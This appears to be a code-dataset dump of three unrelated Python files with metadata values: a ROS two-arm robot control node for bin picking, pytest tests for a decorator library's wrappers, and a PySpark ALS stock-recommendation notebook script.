np.asarray([432,lr_offset-87,560-40,90,-90,90]) #TODO takasugi?? self.preset_position["bin_B_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[2], dz[0], 0, 0, 0]) self.preset_position["bin_D_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_pull"] = self.preset_position["bin_A_pull"] + np.asarray([50, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_pull"] = self.preset_position["bin_A_pull"] + np.asarray([50, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_pull"] = self.preset_position["bin_A_pull"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) self.preset_position["origin"] = np.asarray([550,lr_offset-146,752,180,0,180]) self.preset_position["tote"] = np.asarray([800, 620, 260, -180, 0, 0]) self.preset_position["tote_photo"] = np.asarray([800, 620, 260-30, 0, -90, -180]) self.preset_position["tote_photo_xm"] = np.asarray([466, 620, 255-30, 0, -70, 180]) self.preset_position["tote_photo_xp"] = np.asarray([1094, 620, 255-30, 180, -70, 0]) self.preset_position["tote_photo_ym"] = np.asarray([800, 290, 255-30, -90, -70, -90]) self.preset_position["tote_photo_yp"] = np.asarray([800, 980, 255-30, 90, -70, 90]) #TODO #self.preset_position["escape_right"] = np.asarray([305.607,-1276,463,-179.9,0.1,0.1]) self.preset_position["escape_right"] = np.asarray([258,-1337,458,-179.9,0.1,114]) self.preset_position["escape_left"] = np.asarray([599,1164,3,-177,-2,-173]) rospy.loginfo("action client start") print 'move_arm_' + lr self.action_client = actionlib.SimpleActionClient('move_arm_' + lr, RobotArmMoveGlobalAction) self.action_client.wait_for_server() rospy.loginfo("%s arm action ok" % lr) # avoid collision between hand and shelf # inside_bin_check([1,2,3],'bin_C') @staticmethod def inside_bin_check(target, bin): #print 'inside bin check, target = ', target, 'bin = ', bin bin_name = bin[-1] #print 'target = ',target xlim = (0-1000, 445-600) # (650, 1045) if bin_name in ['A', 'D', 'G', 'J']: ylim = (-230, -15) elif bin_name in ['B', 'E', 'H', 'K']: ylim = (-285, -15) elif bin_name in ['C', 'F', 'I', 'L']: ylim = (-235, -15) if bin_name in ['A', 'B', 'C']: zlim = (20,210) elif bin_name in ['D', 'E', 'F']: zlim = (20,170) elif bin_name in ['G','H','I']: zlim = (20, 170) elif bin_name in ['J','K','L']: zlim = (20,210) reject = False #print target[:] if target[0] < xlim[0]: print "rejected by x< limit" reject = True if target[0] > xlim[1]: print "rejected by x> limit" reject = True if target[1] < ylim[0]: #-570: print "rejected by y< limit" reject = True if target[1] > ylim[1]: #-350: print "rejected by y> limit" reject = True if target[2] < zlim[0]: print "rejected by z< limit" reject = True if target[2] > zlim[1]: print "rejected by z> limit" reject = True return not reject # avoid collision between hand and tote # inside_bin_check([1,2,3]) @staticmethod def inside_tote_check(target): xlim = (650, 930) ylim = (390, 870) zlim = (-130, 200) reject = False if target[0] < xlim[0]: print "rejected by x< limit" reject = True if target[0] > xlim[1]: print "rejected by x> limit" reject = True if target[1] < ylim[0]: print "rejected by y< limit" reject = True if target[1] > ylim[1]: print "rejected by y> limit" reject = True if target[2] < zlim[0]: print "rejected by z< limit" reject = True if target[2] > zlim[1]: print "rejected by z> limit" reject = True return not reject # avoid collision between hand and shelf # inside_bin_check([1,2,3],'bin_C') @staticmethod def inside_bin_check_global(target, bin): bin_name = bin[-1] #print 'target = ',target xlim = (600, 1045) # (650, 1045) if bin_name in ['A', 'D', 'G', 'J']: ylim = (-195, 7) elif bin_name in ['B', 'E', 'H', 'K']: ylim = (-495, -249) elif bin_name in ['C', 'F', 'I', 'L']: ylim = (-745, -554) if bin_name in ['A', 'B', 'C']: zlim = (392,571) elif bin_name in ['D', 'E', 'F']: zlim = (162,309) elif bin_name in ['G','H','I']: zlim = (-68, 82) elif bin_name in ['J','K','L']: zlim = (-331,-145) reject = False #print target[:] if target[0] < xlim[0]: print "rejected by x< limit" reject = True if target[0] > xlim[1]: print "rejected by x> limit" reject = True if target[1] < ylim[0]: #-570: #print "rejected by y< limit" reject = True if target[1] > ylim[1]: #-350: #print "rejected by y> limit" reject = True if target[2] < zlim[0]: #print "rejected by z< limit" reject = True if target[2] > zlim[1]: #print "rejected by z> limit" reject = True return not reject # pos: numpy array (shape (6)) xyzwpr def send_msg_and_wait(self, pos, fut000 = 1, kakujiku = 1): print 'send message to %s arm: %s' % (self.lr, pos) print 'fut000=', fut000, 'kakujiku = ',kakujiku goal = RobotArmMoveGlobalGoal(target=FanucTwist(Vector3(pos[0],pos[1],pos[2]), Vector3(pos[3],pos[4],pos[5]), fut000, kakujiku)) self.action_client.send_goal(goal) done_before_timeout = self.action_client.wait_for_result(rospy.Duration.from_sec(1400.0)) # error check if not done_before_timeout: rospy.logerr("robot arm move did not finish in time") raise util.RobotTimeoutException(self.lr, goal) state = self.action_client.get_state() if state != GoalStatus.SUCCEEDED: rospy.logerr("robot move action did not finish correctly") raise util.RobotActionFailure(self.lr, goal, state) result = self.action_client.get_result() if not result.success: rospy.logerr("robot arm did not move correctly") raise util.RobotMoveFailure(self.lr, goal) result = self.action_client.get_result() status = self.action_client.get_state() rospy.loginfo("result %s status %s"%(result, status)) self.current_position = pos # usage # move_position('bin_A', 'photo') def move_position(self, bin_name, fut000 = 1, kakujiku = 1, pos=''): rospy.loginfo("move %s %s fut = %s kakujiku = %s"%(bin_name, pos, fut000, kakujiku)) if bin_name=='origin': self.send_msg_and_wait(self.preset_position['origin'], fut000, kakujiku) elif bin_name=='tote': self.send_msg_and_wait(self.preset_position['tote'], fut000, kakujiku) elif 'tote' in bin_name: self.send_msg_and_wait(self.preset_position[bin_name], fut000, kakujiku) else: x = self.preset_position['%s_%s'%(bin_name, pos)] self.send_msg_and_wait(x, fut000, kakujiku) #TODO # usage # go_to_safe_area() def go_to_safe_area(self): rospy.loginfo("move %s arm to safe area"%(self.lr)) if self.lr=='right': self.send_msg_and_wait(self.preset_position['bin_F_pre'],12,0) self.send_msg_and_wait(self.preset_position['escape_right'],12,0) else: self.send_msg_and_wait(self.preset_position['bin_D_pre'],12,0) self.send_msg_and_wait(self.preset_position['escape_left'],12,0) msg = String() msg.data = "safe" self.pub.publish(msg) def return_from_safe_area(self): rospy.loginfo("move %s arm to work space"%(self.lr)) if self.lr=='right': self.send_msg_and_wait(self.preset_position['bin_F_pre'],12,1) else: self.send_msg_and_wait(self.preset_position['bin_D_pre'],12,1) msg = String() msg.data = "workspace" self.pub.publish(msg) class ArmControl(object): def __init__(self): self.left = LeftRight_arm('left') self.right = LeftRight_arm('right') self.srv_lowlevel_left = \ actionlib.SimpleActionServer('move_to_left', RobotArmMoveAction, execute_cb=self.cb_move_to_left, auto_start=False) self.srv_lowlevel_left_g = \ actionlib.SimpleActionServer('move_to_left_global', RobotArmMoveGlobalAction, execute_cb=self.cb_move_to_left_global, auto_start=False) self.srv_highlevel_left = \ actionlib.SimpleActionServer('move_to_bin_left', BinToteMoveAction, execute_cb=self.cb_move_to_bin_left, auto_start=False) self.srv_highlevel_left_g = \ actionlib.SimpleActionServer('move_to_bin_left_global', BinToteMoveAction, execute_cb=self.cb_move_to_bin_left_global, auto_start=False) #self.right = LeftRight_arm('right') self.srv_lowlevel_right = \ actionlib.SimpleActionServer('move_to_right', RobotArmMoveAction, execute_cb=self.cb_move_to_right, auto_start=False) self.srv_lowlevel_right_g = \ actionlib.SimpleActionServer('move_to_right_global', RobotArmMoveGlobalAction, execute_cb=self.cb_move_to_right_global, auto_start=False) self.srv_highlevel_right = \ actionlib.SimpleActionServer('move_to_bin_right', BinToteMoveAction, execute_cb=self.cb_move_to_bin_right, auto_start=False) self.srv_highlevel_right_g = \ actionlib.SimpleActionServer('move_to_bin_right_global', BinToteMoveAction, execute_cb=self.cb_move_to_bin_right_global, auto_start=False) self.srv_lowlevel_left.start() self.srv_lowlevel_left_g.start() self.srv_highlevel_left.start() self.srv_highlevel_left_g.start() self.srv_lowlevel_right.start() self.srv_lowlevel_right_g.start() self.srv_highlevel_right.start() self.srv_highlevel_right_g.start() rospy.loginfo("initialize node") rospy.wait_for_service('global2bin') rospy.wait_for_service('bin2global') rospy.wait_for_service('adjustglobal') rospy.wait_for_service('check_is_calibrated') rospy.loginfo('raeday to use coord transform service') self.global2bin = rospy.ServiceProxy('global2bin',CoordinateTransform) self.bin2global = rospy.ServiceProxy('bin2global',CoordinateTransform) self.adjustglobal = rospy.ServiceProxy('adjustglobal', CoordinateTransform) self.checkcalib = rospy.ServiceProxy('check_is_calibrated', CalibData) self.r_state = "" self.l_state = "" self.sub_l = rospy.Subscriber('left_state', String ,self.cb_left_movement) self.sub_r = rospy.Subscriber('right_state', String ,self.cb_right_movement) #self.l_state = 'safe' #self.r_state = 'safe' def twist2str(self, t): try: return "lin:(%s, %s, %s)/ang:(%s, %s, %s)/fut000:%s/k:%s" % (t.linear.x, t.linear.y, t.linear.z, t.angular.x, t.angular.y, t.angular.z, t.fut000, t.kakujiku) except: return "lin:(%s, %s, %s)/ang:(%s, %s, %s)" % (t.linear.x, t.linear.y, t.linear.z, t.angular.x, t.angular.y, t.angular.z) def cb_left_movement(self, message): rospy.loginfo("SET LEFT STATE TO " + message.data) self.l_state = message.data def cb_right_movement(self, message): rospy.loginfo("SET RIGHT STATE TO " + message.data) self.r_state = message.data def left_preparation(self): if self.r_state == 'workspace': rospy.loginfo('move right arm') self.right.go_to_safe_area() if self.l_state == 'safe': rospy.loginfo('move left arm') self.left.return_from_safe_area() def right_preparation(self): #return if self.l_state == 'workspace': self.left.go_to_safe_area() if self.r_state == 'safe': self.right.return_from_safe_area() #RobotArmMove bin, target(twist) -> success def cb_move_to_left(self, goal): print "move_to_left:", self.twist2str(goal.target) try: self.left_preparation() except Exception as e: errmsg = "exception during left_preparation: %s" % e rospy.logerr(errmsg) result = RobotArmMoveResult(success=False) self.srv_lowlevel_left.set_aborted(result, errmsg) return r = self.bin2global(bin = goal.bin, point=goal.target) if not r.is_calibrated: raise util.RobotNotCalibrated("left", str(goal.target)) t = r.point pos = [t.linear.x, t.linear.y, t.linear.z, t.angular.x, t.angular.y, t.angular.z] print 'go to', pos try: self.left.send_msg_and_wait(pos,goal.target.fut000,goal.target.kakujiku) except Exception as e: errmsg = "exception during send_msg_and_wait: %s" % e rospy.logerr(errmsg) result = RobotArmMoveResult(success=False) self.srv_lowlevel_left.set_aborted(result, errmsg) return if r.success == True: result = RobotArmMoveResult(success=True) self.srv_lowlevel_left.set_succeeded(result) else: result = RobotArmMoveResult(success=False) self.srv_lowlevel_left.set_aborted(result,"Cannot convert position") #RobotArmMoveGlobal target(twist)->success def cb_move_to_left_global(self, goal): print "move_to_left_global:", self.twist2str(goal.target) try: self.left_preparation() except Exception as e: errmsg = "exception during left_preparation: %s" % e rospy.logerr(errmsg) result = RobotArmMoveGlobalResult(success=False) self.srv_lowlevel_left_g.set_aborted(result, errmsg) return t = goal.target pos = [t.linear.x, t.linear.y, t.linear.z, t.angular.x, t.angular.y, t.angular.z] try: self.left.send_msg_and_wait(pos,goal.target.fut000,goal.target.kakujiku) except Exception as e: errmsg = "exception during send_msg_and_wait: %s" % e rospy.logerr(errmsg) result = RobotArmMoveGlobalResult(success=False) self.srv_lowlevel_left_g.set_aborted(result, errmsg) return result = RobotArmMoveGlobalResult(success=True) self.srv_lowlevel_left_g.set_succeeded(result) #BinToteMove bin,position(string)->success,position(twist),is_calibrated,globaL_position def cb_move_to_bin_left(self, goal): try: self.left_preparation() except Exception as e: errmsg = "exception during left_preparation: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_left.set_aborted(result, errmsg) return if 'tote' not in goal.bin and goal.bin not in ['bin_'+ j for j in 'ABCDEFGHIJKL']: result = BinToteMoveResult(success=False) self.srv_highlevel_left.set_aborted(result,'Invalid bin name') else: if 'tote' in goal.bin: try: if goal.position in ['photo', 'photo_down','photo_xm','photo_xp','photo_ym','photo_yp']: pos = self.left.preset_position['tote_' + goal.position] self.left.move_position('tote_' + goal.position, goal.fut000, goal.kakujiku) else: pos = self.left.preset_position['tote'] self.left.move_position('tote', goal.fut000, goal.kakujiku) except Exception as e: errmsg = "exception during move_position: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_left.set_aborted(result, errmsg) return p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) is_calib = self.checkcalib() result = BinToteMoveResult(success=True, global_position=Twist(p, r),is_calibrated=is_calib.success, position=Twist(p, r)) self.srv_highlevel_left.set_succeeded(result) else: if goal.position in ['photo', 'pre', 'rpre', 'photo_l', 'photo_r', 'front', 'right', 'left', 'pull']: if goal.position == 'left': po = 'photo_l' elif goal.position == 'right': po = 'photo_r' else: po = goal.position else: po = "photo" name = goal.bin + '_' + po pos = self.left.preset_position[name] print "looking up position for %s/%s" % (goal.bin, pos) p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) res = self.adjustglobal(bin='',point=Twist(p,r)) if res.is_calibrated == False: result = BinToteMoveResult(success=False) self.srv_highlevel_left.set_aborted(result, 'No calibration yet') else: apos = [res.point.linear.x, res.point.linear.y, res.point.linear.z, res.point.angular.x, res.point.angular.y, res.point.angular.z] try: self.left.send_msg_and_wait(apos,goal.fut000,goal.kakujiku) except Exception as e: errmsg = "exception during send_msg_and_wait: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_left.set_aborted(result, errmsg) return p = Vector3(apos[0], apos[1], apos[2]) r = Vector3(apos[3], apos[4], apos[5]) pos = self.global2bin(bin=goal.bin, point=Twist(p,r)) result = BinToteMoveResult(success=True, global_position=Twist(p, r),is_calibrated=pos.is_calibrated, position=pos.point) self.srv_highlevel_left.set_succeeded(result) #BinToteMove bin, position->success, position def cb_move_to_bin_left_global(self, goal): try: self.left_preparation() except Exception as e: errmsg = "exception during left_preparation: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_left_g.set_aborted(result, errmsg) return try: if 'tote' in goal.bin: if goal.position in ['photo', 'photo_down','photo_xm','photo_xp','photo_ym','photo_yp']: pos = self.left.preset_position['tote_' + goal.position] self.left.move_position('tote_' + goal.position, goal.fut000, goal.kakujiku) else: pos = self.left.preset_position['tote'] self.left.move_position('tote', goal.fut000, goal.kakujiku) p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) is_calib = self.check_calib() result = BinToteMoveResult(success=True, global_position=Twist(p, r),is_calibrated=is_calib.success, position=Twist(p, r)) self.srv_highlevel_left.set_succeeded(result) else: if goal.position in ['photo', 'pre', 'rpre', 'photo_l', 'photo_r', 'front', 'right', 'left', 'pull']: if goal.position == 'left': po = 'photo_l' elif goal.position == 'right': po = 'photo_r' else: po = goal.position else: po = "photo" name = goal.bin + '_' + po pos = self.left.preset_position[name] self.left.move_position(goal.bin, goal.fut000, goal.kakujiku, po) except Exception as e: errmsg = "exception during move_position: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_left_g.set_aborted(result, errmsg) return print "looking up position for %s/%s" % (goal.bin, pos) p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) result = BinToteMoveResult(success=True, global_position=Twist(p, r)) self.srv_highlevel_left_g.set_succeeded(result) #RobotArmMove bin, target(twist) -> success def cb_move_to_right(self, goal): print "move_to_right:", self.twist2str(goal.target) try: self.right_preparation() except Exception as e: errmsg = "exception during right_preparation: %s" % e rospy.logerr(errmsg) result = RobotArmMoveResult(success=False) self.srv_lowlevel_right.set_aborted(result, errmsg) return r = self.bin2global(bin = goal.bin, point=goal.target) if not r.is_calibrated: raise util.RobotNotCalibrated("left", str(goal.target)) t = r.point pos = [t.linear.x, t.linear.y, t.linear.z, t.angular.x, t.angular.y, t.angular.z] print 'go to', pos try: self.right.send_msg_and_wait(pos,goal.target.fut000,goal.target.kakujiku) except Exception as e: errmsg = "exception during send_msg_and_wait: %s" % e rospy.logerr(errmsg) result = RobotArmMoveResult(success=False) self.srv_lowlevel_right.set_aborted(result, errmsg) return if r.success == True: result = RobotArmMoveResult(success=True) self.srv_lowlevel_right.set_succeeded(result) else: result = RobotArmMoveResult(success=False) self.srv_lowlevel_right.set_aborted(result,"Cannot convert position") #RobotArmMoveGlobal target(twist)->success def cb_move_to_right_global(self, goal): print "move_to_right_global:", self.twist2str(goal.target) try: self.right_preparation() except Exception as e: errmsg = "exception during right_preparation: %s" % e rospy.logerr(errmsg) result = RobotArmMoveGlobalResult(success=False) self.srv_lowlevel_right_g.set_aborted(result, errmsg) return t = goal.target pos = [t.linear.x, t.linear.y, t.linear.z, t.angular.x, t.angular.y, t.angular.z] try: self.right.send_msg_and_wait(pos,goal.target.fut000,goal.target.kakujiku) except Exception as e: errmsg = "exception during send_msg_and_wait: %s" % e rospy.logerr(errmsg) result = RobotArmMoveGlobalResult(success=False) self.srv_lowlevel_right_g.set_aborted(result, errmsg) return result = RobotArmMoveGlobalResult(success=True) self.srv_lowlevel_right_g.set_succeeded(result) #BinToteMove bin,position(string)->success,position(twist),is_calibrated,globaL_position def cb_move_to_bin_right(self, goal): try: self.right_preparation() except Exception as e: errmsg = "exception during right_preparation: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_right.set_aborted(result, errmsg) return if 'tote' not in goal.bin and goal.bin not in ['bin_'+ j for j in 'ABCDEFGHIJKL']: result = BinToteMoveResult(success=False) self.srv_highlevel_right.set_aborted(result,'Invalid bin name') else: if 'tote' in goal.bin: try: if goal.position in ['photo', 'photo_down','photo_xm','photo_xp','photo_ym','photo_yp']: pos = self.right.preset_position['tote_' + goal.position] self.right.move_position('tote_' + goal.position, goal.fut000, goal.kakujiku) else: pos = self.right.preset_position['tote'] self.right.move_position('tote', goal.fut000, goal.kakujiku) except Exception as e: errmsg = "exception during move_position: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_right.set_aborted(result, errmsg) return p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) is_calib = self.checkcalib() result = BinToteMoveResult(success=True, global_position=Twist(p, r),is_calibrated=is_calib.success, position=Twist(p, r)) self.srv_highlevel_right.set_succeeded(result) else: if goal.position in ['photo', 'pre', 'rpre', 'photo_l', 'photo_r', 'front', 'right', 'left', 'pull']: if goal.position == 'left': po = 'photo_l' elif goal.position == 'right': po = 'photo_r' else: po = goal.position else: po = "photo" name = goal.bin + '_' + po pos = self.right.preset_position[name] print "looking up position for %s/%s" % (goal.bin, pos) p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) res = self.adjustglobal(bin='',point=Twist(p,r)) if res.is_calibrated == False: result = BinToteMoveResult(success=False) self.srv_highlevel_right.set_aborted(result, 'Invalid bin name') else: apos = [res.point.linear.x, res.point.linear.y, res.point.linear.z, res.point.angular.x, res.point.angular.y, res.point.angular.z] try: self.right.send_msg_and_wait(apos,goal.fut000,goal.kakujiku) except Exception as e: errmsg = "exception during send_msg_and_wait: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_right.set_aborted(result, errmsg) return print "looking up position for %s/%s" % (goal.bin, pos) p = Vector3(apos[0], apos[1], apos[2]) r = Vector3(apos[3], apos[4], apos[5]) pos = self.global2bin(bin=goal.bin, point=Twist(p,r)) result = BinToteMoveResult(success=True, global_position=Twist(p, r),is_calibrated=pos.is_calibrated, position=pos.point) self.srv_highlevel_right.set_succeeded(result) #BinToteMove bin, position->success, position def cb_move_to_bin_right_global(self, goal): print 'goal = ', goal print "moving away left arm, then moving right arm:" try: self.right_preparation() except Exception as e: errmsg = "exception during right_preparation: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_right_g.set_aborted(result, errmsg) return try: if 'tote' in goal.bin: if goal.position in ['photo', 'photo_down','photo_xm','photo_xp','photo_ym','photo_yp']: pos = self.right.preset_position['tote_' + goal.position] self.right.move_position('tote_' + goal.position, goal.fut000, goal.kakujiku) else: pos = self.right.preset_position['tote'] self.right.move_position('tote', goal.fut000, goal.kakujiku) p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) is_calib = self.checkcalib() result = BinToteMoveResult(success=True, global_position=Twist(p, r),is_calibrated=is_calib.success, position=Twist(p, r)) self.srv_highlevel_right_g.set_succeeded(result) else: if goal.position in ['photo', 'pre', 'rpre', 'photo_l', 'photo_r', 'front', 'right', 'left', 'pull']: if goal.position == 'left': po = 'photo_l' elif goal.position == 'right': po = 'photo_r' else: po = goal.position else: po = "photo" name = goal.bin + '_' + po pos = self.right.preset_position[name] self.right.move_position(goal.bin, goal.fut000, goal.kakujiku, po) except Exception as e: errmsg = "exception during move_position: %s" % e rospy.logerr(errmsg) result = BinToteMoveResult(success=False) self.srv_highlevel_right_g.set_aborted(result, errmsg) return print "looking up position for %s/%s" % (goal.bin, pos) p = Vector3(pos[0], pos[1], pos[2]) r = Vector3(pos[3], pos[4], pos[5]) result = BinToteMoveResult(success=True, global_position=Twist(p, r)) self.srv_highlevel_right_g.set_succeeded(result) if __name__ == '__main__': rospy.init_node("arm_control", anonymous=True) a = ArmControl() rospy.spin()

51.128588

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0.563964

5,861

44,533

4.075073

0.069101

0.115475

0.139424

0.148593

0.836627

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null

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null

0

1

0

7

e3972322d31d71f22b69696cb73b5fb8eb925bf8

3,731

py

Python

tests/test_decorator_wrappers.py

EvgeniyBurdin/logdec

ae58d2e4744ebdfc1ea5cd20c24d04e230d015f1

[ "MIT" ]

1

2021-10-11T06:31:56.000Z

tests/test_decorator_wrappers.py

EvgeniyBurdin/logdec

ae58d2e4744ebdfc1ea5cd20c24d04e230d015f1

[ "MIT" ]

2

2021-12-21T01:21:39.000Z

2021-12-21T10:51:41.000Z

tests/test_decorator_wrappers.py

EvgeniyBurdin/logdec

ae58d2e4744ebdfc1ea5cd20c24d04e230d015f1

[ "MIT" ]

1

2021-12-21T01:22:06.000Z

import asyncio from exdec.data_classes import DecData from exdec.decorator import _async_wrapper as async_wrapper from exdec.decorator import _wrapper as wrapper from exdec.decorator import dec_args0_is_func class FakeManager: def __init__(self): self.clear_handler_calls() def execute_handler( self, fake_handler: str, dec_data: DecData ): self.is_called[fake_handler] = True async def async_execute_handler( self, fake_handler: str, dec_data: DecData ): self.is_called[fake_handler] = True def clear_handler_calls(self): self.is_called = { "before_handler": False, "after_handler": False, "exc_handler": False, } RESULT_FUNC = 555 def func(): return RESULT_FUNC def func_with_exception(): return 1 / 0 async def async_func(): return RESULT_FUNC async def async_func_with_exception(): return 1 / 0 def test_wrapper(dec_data: DecData): fm = FakeManager() result = wrapper(func, dec_data, fm, None, None, "exc_handler") assert not fm.is_called["before_handler"] assert not fm.is_called["after_handler"] assert not fm.is_called["exc_handler"] assert dec_data.func_info.exception is None assert dec_data.func_info.result == RESULT_FUNC assert dec_data.func_info.result == result fm.clear_handler_calls() result = wrapper( func, dec_data, fm, "before_handler", "after_handler", "exc_handler" ) assert fm.is_called["before_handler"] assert fm.is_called["after_handler"] assert not fm.is_called["exc_handler"] assert dec_data.func_info.exception is None assert dec_data.func_info.result == RESULT_FUNC assert dec_data.func_info.result == result fm.clear_handler_calls() result = wrapper( func_with_exception, dec_data, fm, None, None, "exc_handler" ) assert not fm.is_called["before_handler"] assert not fm.is_called["after_handler"] assert fm.is_called["exc_handler"] assert isinstance(dec_data.func_info.exception, ZeroDivisionError) assert dec_data.func_info.result is None assert dec_data.func_info.result == result def test_async_wrapper(dec_data: DecData): fm = FakeManager() result = asyncio.run(async_wrapper( async_func, dec_data, fm, None, None, "exc_handler" )) assert not fm.is_called["before_handler"] assert not fm.is_called["after_handler"] assert not fm.is_called["exc_handler"] assert dec_data.func_info.exception is None assert dec_data.func_info.result == RESULT_FUNC assert dec_data.func_info.result == result fm.clear_handler_calls() result = asyncio.run(async_wrapper( async_func, dec_data, fm, "before_handler", "after_handler", "exc_handler" )) assert fm.is_called["before_handler"] assert fm.is_called["after_handler"] assert not fm.is_called["exc_handler"] assert dec_data.func_info.exception is None assert dec_data.func_info.result == RESULT_FUNC assert dec_data.func_info.result == result fm.clear_handler_calls() result = asyncio.run(async_wrapper( async_func_with_exception, dec_data, fm, None, None, "exc_handler" )) assert not fm.is_called["before_handler"] assert not fm.is_called["after_handler"] assert fm.is_called["exc_handler"] assert isinstance(dec_data.func_info.exception, ZeroDivisionError) assert dec_data.func_info.result is None assert dec_data.func_info.result == result def test_dec_args0_is_func(func): assert dec_args0_is_func(dec_args=(func, )) assert not dec_args0_is_func(dec_args=tuple()) assert not dec_args0_is_func(dec_args=(Exception, ))

27.843284

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3,731

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0.094877

0.078842

0.072405

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0.782381

0.752615

0.728479

0

0.004001

0.196194

3,731

133

77

28.052632

0.824942

0

0.625

0

0.103458

0

0.40625

1

0.083333

false

0

0.052083

0.020833

0.1875

0

null

0

1

0

null

0

1

0

7

e3c33c341bd842ddf6006554465eae9baf66938e

6,039

py

Python

recengine/back-end/Recommendation.py

sjayakum/recengine

ca0dd1c122c1c6af75757300f552740ae2f72723

[ "Apache-2.0" ]

null

recengine/back-end/Recommendation.py

sjayakum/recengine

ca0dd1c122c1c6af75757300f552740ae2f72723

[ "Apache-2.0" ]

null

recengine/back-end/Recommendation.py

sjayakum/recengine

ca0dd1c122c1c6af75757300f552740ae2f72723

[ "Apache-2.0" ]

null

# coding: utf-8 # In[1]: from test_helper import Test import os.path def myMapingFunction(x): y = x.encode('utf8').split(",") return y[1:41] rootDir = os.path.join('data') inputFilePath = os.path.join('stock.csv') stockFileName = os.path.join(rootDir,inputFilePath) numPartitions = 2 rawData = sc.textFile(stockFileName,numPartitions) totalPoints = rawData.count() print totalPoints sampleData = rawData.take(5) #print sampleData newRawData = rawData.map(myMapingFunction) print len(newRawData.take(1)[0]) print newRawData.take(5) # In[2]: #TRANSFORM THE DATA transformedList = [] likingList = newRawData.collect() memid = 1 while memid < 24000: i = 0 global transformedList while i < 40: if(float(likingList[memid][i])==99): transformedList.append((memid,i,0.0)) else: transformedList.append((memid,i,int(float(likingList[memid][i])))) i = i + 1 memid = memid + 1 print transformedList[0:40] # In[4]: transData = sc.parallelize(transformedList) print transData print transData.count() print transData.take(2) # In[6]: #BUILDING THE MODEL from pyspark.mllib.recommendation import ALS, MatrixFactorizationModel, Rating trainingDataSet, testDataSet = transData.randomSplit([8, 2], 17) # Build the recommendation model using Alternating Least Squares rank = 5 numIterations = 5 model = ALS.train(trainingDataSet, rank, numIterations) # In[38]: # Evaluate the model on training data #EXTRACT ONLY (MEMBERID,STOCKID) testDataSetModified = testDataSet.map(lambda p:(p[0],p[1])) #PREDICT predictedData = model.predictAll(testDataSetModified).map(lambda r: ((r[0], r[1]), r[2])) ratingsAndPredictions = transData.map(lambda r: ((r[0], r[1]), r[2])).join(predictedData) MSE = ratingsAndPredictions.map(lambda r: (r[1][0] - r[1][1])**2).mean() print("Root Mean Squared Error = " + str(MSE**0.5)) # In[64]: ### print newRawData.take(30)[25][7] print newRawData.take(30)[25] plotActualData = [] loopThroughData = newRawData.take(40)[30] for x in loopThroughData: if float(x) == 99: plotActualData.append(0) else: plotActualData.append(int(float(x))) plotPredictedData = [] k = 0 while (k<40): plotPredictedData.append(int(model.predict(30,k))) k = k + 1 import matplotlib.pyplot as plt plt.plot(range(40),plotActualData,label='actual') plt.plot(range(40),plotPredictedData,label='predicted') plt.show() # In[65]: print plotActualData[23] print plotPredictedData[23] # In[76]: y = 0 print "stkno"+"\t"+ "howmuch" while y<40: temp = int(model.predict(23,y)) if temp > 0: print str(y)+"\t"+str(temp) y = y+1 # In[4]: print rawData.take(2) # In[7]: from test_helper import Test import os.path from pyspark.mllib.recommendation import ALS, MatrixFactorizationModel, Rating transformedList = [] transData = 0 newRawData = 0 model = 0 def myMapingFunction(x): y = x.encode('utf8').split(",") return y[1:41] def LoadData(): global newRawData rootDir = os.path.join('data') inputFilePath = os.path.join('stock.csv') stockFileName = os.path.join(rootDir,inputFilePath) numPartitions = 2 rawData = sc.textFile(stockFileName,numPartitions) totalPoints = rawData.count() print totalPoints #sampleData = rawData.take(5) #print sampleData newRawData = rawData.map(myMapingFunction) #print len(newRawData.take(1)[0]) #print newRawData.take(5) def ReduceAndTransfromData(): #TRANSFORM THE DATA global transData likingList = newRawData.collect() memid = 1 while memid < 24000: i = 0 global transformedList while i < 40: if(float(likingList[memid][i])==99): transformedList.append((memid,i,0.0)) else: transformedList.append((memid,i,int(float(likingList[memid][i])))) i = i + 1 memid = memid + 1 #print transformedList[0:40] transData = sc.parallelize(transformedList) #print transData #print transData.count() #print transData.take(2) #BUILDING THE MODEL def makeModel(): global model global transData trainingDataSet, testDataSet = transData.randomSplit([8, 2], 17) # Build the recommendation model using Alternating Least Squares rank = 5 numIterations = 5 model = ALS.train(trainingDataSet, rank, numIterations) # 